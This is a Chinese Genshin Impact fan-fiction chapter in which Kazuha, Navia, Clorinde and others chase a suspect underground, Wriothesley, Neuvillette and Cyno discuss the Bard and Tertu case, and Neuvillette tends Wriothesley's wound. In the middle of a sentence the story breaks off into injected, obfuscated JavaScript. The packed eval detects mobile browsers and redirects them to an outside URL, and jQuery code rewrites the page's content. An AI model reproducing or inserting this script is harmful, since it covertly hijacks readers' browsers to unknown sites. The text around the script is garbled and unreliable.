万叶和浅羽将他们在枫丹科学院附近与莱欧斯利、那维莱特二人遇见的事情告诉了她们。
娜维娅有些惊讶:“你们也是从枫丹科学院过来的?”
万叶点头。
“我们也是从枫丹科学院过来的,竟然没有遇见!”娜维娅说。
浅羽和万叶也有点疑惑。
克洛琳德了然:“黑穗浅羽先生和枫原万叶先生说的科学院,应该是新枫丹科学院。”
夏沃蕾向他们解释:“旧枫丹科学院就在新枫丹科学院的对面,它们之间只隔了一道不深的海峡。”
浅羽掏出一直揣在怀里的地图,夏沃蕾给他指出了旧枫丹科学院的位置,几人一讨论,才发现他们绕着伊黎耶林区北边的那座高山,一队走了左侧、一队走了右侧,竟然从两个不同的入口走进了这个地下的洞穴,汇合到了一起。
但最让浅羽和万叶二人讶异的还是这三人的身份,原本他们只当莱欧斯利和那维莱特在追捕的那个犯人是一个普通的案件嫌疑人,夏沃蕾和克洛琳德也是他口中只逐影庭的警员,没想到在娜维娅的提醒之下,他们发现这两位竟然是枫丹执法机构的管理者啊!
两人满脑袋问号,万叶问:“克洛琳德女士,虽然我和浅羽不是有意要介入你们国家的案件当中,但是我们已经一路追查到了这里……如果可以的话,我们希望能知道一些有关于这个案子的情况。”
闻言,娜维娅看向克洛琳德和夏沃蕾,见到两人对她点了点头,娜维娅便把她知道的案情如实告诉了万叶和浅羽,又说明了她们下午发生的事情。
“我们从白淞镇来到旧枫丹科学院的遗址后没有发现泰尔图,但是在废墟里发现了一份地图。”娜维娅拿出了那张地图,地图有点褪色,上面留着被水打湿后又干了的水渍,她继续说,“这张地图上标着一个入口,就在伊黎耶林区的南部。”
克洛琳德一摊手:“不知道这个地图是不是有人刻意留下来的,但也是一条线索,于是我们就顺着地图找到了这个入口,然后从那边的水道一路游了过来。”
万叶和浅羽感觉眼前更晕了,他们原本只是想路见不平拔刀相助一下,没想到这一通下来,竟然被卷进了这么离奇的一个案子!
好在他们也是四处游历经历了不少风浪的人,不至于因为遇见麻烦就大惊小怪,正相反,浅羽还有些兴奋了起来——惩奸除恶什么的,他最喜欢了!
交流过后,五人便顺势合作。
此时摆在他们面前的有三条路,不过其中的两条分别是两队人马来时的路,所以也只剩下一条路可以走。
五人顺着潮湿的地下洞穴一路前进,所幸这条隧道没有再出现其他的岔路,不知走过了多少距离,狭窄的通道变得越来越宽阔,可就在他们以为要到达新的地方时,前方的路竟然走到了尽头。
浅羽疑惑:“没路了?”
万叶摇头:“肯定有其他的路,不然那个黑衣人不会突然消失。”
娜维娅皱着眉头,盯着戛然而止的路看了半天,又上前两步伸手敲了敲面前的石壁,然后恍然大悟:“前面还有路!这是一面假的墙壁。”
夏沃蕾四处搜寻了起来:“难道有机关。”
娜维娅一撩头发,拎起她的伞:“什么机关能阻拦我刺玫会会长?你们都闪开——”
话音刚落,娜维娅将伞尖对准了石壁,万叶和浅羽这才知道为什么刚才三人戒备时,其他两位女士拿起了自己的配枪,而这位大小姐却一把捞起了自己的雨伞。
随着娜维娅扳动伞柄上的机关,华丽的伞面唰啦一下张开,伞尖瞬间变成炮口,嘭地一声!面前的石壁被炸出了一个巨大的洞!
岩元素在破坏力石壁这一方面还是相当有话语权的,娜维娅看着眼前的大洞,欣赏杰作一般满意地点了点头,把那柄威力巨大的铳柄伞收了回去,整理了一下自己的裙摆,又变成了一位举止优雅的淑女。
她探进头去,一看:“——真的有机关哎!”
万叶和浅羽目瞪口呆,看向克洛琳德和夏沃蕾——你们枫丹人行事也太直接了吧!
夏沃蕾点点头,克洛琳德目移——这个场景好眼熟啊……
“前面有人!”娜维娅突然说,“大家快来!”
四人定睛一看,前方的通道里果然有一个黑色的人影!
“是劫走巴德的那个黑衣人!”万叶快速道。
克洛琳德:“我们追。”
眼见娜维娅已经追了上去,他们也钻进洞口,飞快上前!
……
“根据警备队员们的统计,枫丹廷区、伊黎耶林区和黎翡区最近以各种借口出远门的人已经超过了三十名!”卡萝蕾拿着报告,神色凝重,“公爵的怀疑是对的,被那个邀请函骗去优兰尼娅湖的人类远远不止我们抓到的这几个!”
安静的逐影庭办公室内,卡萝蕾不大的声音响彻了整个房间。
办公桌旁坐着的除了莱欧斯利、那维莱特、艾梅莉埃、伊法和沃特林外,还有一位穿着制服的男人。
他的皮肤偏黑,较长的白发随意束在身后,额前的刘海半遮住他红色的眼眸。他没有刻意端着坐姿,只随意双手抱臂,威严之感却扑面而来。
这个神色严肃的人是谁?自然是须弥的大风纪官赛诺。
莱欧斯利知道须弥那边派来的风纪官是赛诺时还颇为惊讶。须弥的执法机构和枫丹大有不同,大风纪官是风纪官中的领头人,单论职位的话,莱欧斯利和赛诺勉强算是差不多。
枫丹和须弥距离不算太远,他与赛诺有过几面之缘。
听完卡萝蕾说的话,赛诺语气不善:“真是丧心病狂。”
“赛诺大人,”沃特林对他说,“我记得你说拿到了巴德的实验申请记录。”
赛诺点点头,一边将资料摆在众人的眼前,一边开口道:“巴德就读于教练院的生论派,他曾经是我爱人的学生……那是以前。他是个不折不扣的学术疯子,你们看这份记录,应该就能理解我说的是什么了。”
看过资料后,众人的脸色都变得异常难看。
“为了研究沼泽花的毒性,他把数只狐狸和蕈猪推进了开花的沼泽,甚至约人去周边野餐,想看看他会不会被毒死。”赛诺语气冰冷,“后来他为了研究沙狐和巴螺迦修那族人的联系,欺骗了我的爱人!又骗了不少巴螺迦修那族的学者加入他的研究,他借着研究雨林的生态的幌子向教令院申请了研究资金,被大贤者看穿拒绝后就此失踪,至今已经过了两年。”
“后面的事情大概能和你们的案件对上,巴德和泰尔图在枫丹谋划了一个新的‘课题’,借着邀请函,欺骗了枫丹的数十人成为了他们的实验品!”
伊法简直头疼:“……世界上怎么会有这么多疯子!”
莱欧斯利和赛诺扶额——别说,两国的科学怪人还真是不少!
莱欧斯利倒是知道赛诺为什么亲自来了,因为这件事情涉及到了提纳里。
赛诺的到来帮助众人梳理清楚了巴德的过往,艾梅莉埃听完后似乎若有所思,她抱着从奈加家中翻出来的一大堆信件回了特巡队的办公室,顺便带走了卡萝蕾。
克洛琳德和夏沃蕾还没回来,沃特林便打算去白淞镇找找她们。
察觉到今天是非加班不可了,莱欧斯利想让那维莱特、伊法和咔库库这几位非公职人员先行休息,却不料遭到了二人一龙的一致拒绝。
伊法带着咔库库要给他们去饭店打包一些晚饭,没想到赛诺也跟了上来。
“你好!哥们!”咔库库热情地打招呼。
赛诺还没听过咔库库说话,惊讶地回它:“你也好,哥们。”
“哈哈!”咔库库很高兴,围在两人身边飞来飞去。
大风纪官工作起来十分严肃,不过伊法看着肤色和他相近的赛诺,竟然还感觉挺亲切的。
“赛诺先生怎么没有留在沫芒宫?”伊法问。
赛诺叹了口气:“……你知道猫为什么不饿吗?”
伊法和咔库库不知道他怎么突然答非所问:“为什么?”
“因为它……”大风纪官故作深沉道,“很多鱼(余)。”
伊法:“……?”
“猫有很多鱼的意思是我很多余,余和鱼同音,令人忍俊不禁。”
咔库库:“哈哈!”
听见咔库库捧场,赛诺十分高兴:“真是一条有品位的小龙。”
咔库库:“谢谢你!哥们!”
看着这位比自己稍矮一些的大风纪官,伊法开始怀疑自己了——这位的性格怎么也和他想象的不太一样!
伊法和赛诺带着咔库库离开后,逐影庭的办公室里就只剩下莱欧斯利和那维莱特两人。
莱欧斯利一边翻看着巴德的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140809|196325||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实验记录,一边若有所思,转头问身边的人:“那维莱特,你觉得泰尔图是个什么样的人?”
那维莱特没直接回答他,反而说起了另一个话题:“我认识托尤克男爵。”
“哦?”莱欧斯利挑眉,有点意外。
那维莱特记性很好,他没有花费时间回忆,道:“我认识他是因为一起珠宝原料失窃的案子,当时托尤克男爵以为是合作商背叛了自己,就把对方告上了把法庭。双方在欧庇克莱歌剧院对峙时执律庭查出了事情的真相,原料失窃是当时刚刚学习掌握珠宝生意的泰尔图造成的。”
他在讲述时声音很平静,低沉的嗓音中带着不容置疑的威严,像是一位审判官在宣告判词,莱欧斯利艰难地把自己的视线从他的身上重新投回资料上,问:“然后呢?”
“托尤克男爵在法庭上大骂泰尔图,男爵夫人也在一旁冷眼相加,而泰尔图一言不发……直到芙宁娜出言制止他们,这场审判才草草收场。”
那维莱特说完,莱欧斯利就知道他明白了自己心中的猜测。
“看来我们的想法一致。”莱欧斯利单手撑着桌面,侧头笑着看他,“那个黑衣人大概率不是泰尔图。”
面前的桌面摆着卡萝蕾收集而来的失踪人口信息,那维莱特无意识用指尖摩挲了一下这些资料,视线停留在对面的人勾起的嘴角。
那维莱特问:“你认为是谁?”
莱欧斯利起了坏心思,故意说:“和你认为的一样。”
那维莱特一愣,叹气:“你真是……”他把后面的话咽了下去,换上了一个略带无奈的神色,“趁着现在的时间,我给你的伤口换一下药吧。”
伤口的疼痛习惯了之后也就不明显了,莱欧斯利自己都快把这事给忘了:“哦?那就麻烦你了。”
莱欧斯利并不常穿外套,大多时间都是把它披在身上,所以此刻脱下来也很方便。他把外套搭在椅背,转头就见那维莱特摘下了他的手套,藏在黑色手套下的手白皙而修长。
还没等莱欧斯利动作,那双手便主动靠近,轻柔地将他左手的袖口卷了起来。那维莱特的动作很小心,没有碰到他的伤口,但他衣摆垂坠感极佳的绸缎却时不时扫过莱欧斯利的指尖。
公爵大人的心中痒痒的。
绷带被一圈一圈拆开,狰狞的伤口暴露在空气中,除了这两道血口之外,他的身上还有一些颜色很深的伤口,不知道是什么时候产生的。
莱欧斯利的身材很好,这是认识他的人都不可否认的事实,他的身高出众,身材健硕有力,只看一条肌肉饱满的手臂就能体会到那带有侵略性的力量感,但是这样强大的人,也会受这么多的伤。
人类还是太容易受伤了。那维莱特眉头轻皱,心情不太好。
药材被美露莘们做成了药水,这里面含有许多藻类的植物,和各种药粉加在一起凑成了一股刺鼻的味道,那维莱特却好像没闻到一样。
莱欧斯利以为像那维莱特这种人应该不太会有给别人上药的经历,却没想到他的手法很娴熟。
虽然现在应该放松一些,但是那维莱特离自己很近,近到自己能看清他浓密的睫毛,莱欧斯利几乎是下意识屏住了呼吸。
那维莱特感觉对面的人很僵硬,于是抬眸看他:“疼吗?”
“啊,不疼。”
莱欧斯利转头,猛吸了两口空气——好险,差点把自己憋死了!
放下药瓶,那维莱特把他的袖口又往上卷了一些,紫色的痕迹在大臂的位置停止了蔓延,颜色也稍微淡去。那维莱特拧着的眉头总算是松开了一些:“明天还需要换药,还有,梅莉说这几天不能喝茶。”
莱欧斯利一听,悲伤地长叹了一口气,然后故作淡定回道:“我会注意的。”
那维莱特满意地点了点头,他把的伤口重新包好,将莱欧斯利被卷起的袖口放下,又将衬衫的褶皱抚平后才去把药瓶收了起来。
莱欧斯利还没能将自己的视线从那维莱特的手指上收回来,后者已经拿起了手套。
公爵大人这才发现自己根本不算什么工作狂!
短暂的上药间隙后,那维莱特几乎只在一秒之间就回到了工作状态,黑色的手套重新被他戴了回去,皮质的料子滑过桌面上的一张张纸,他从中抽出了一份,放到了莱欧斯利面前。
“那么,我的猜测是不是和你一样?”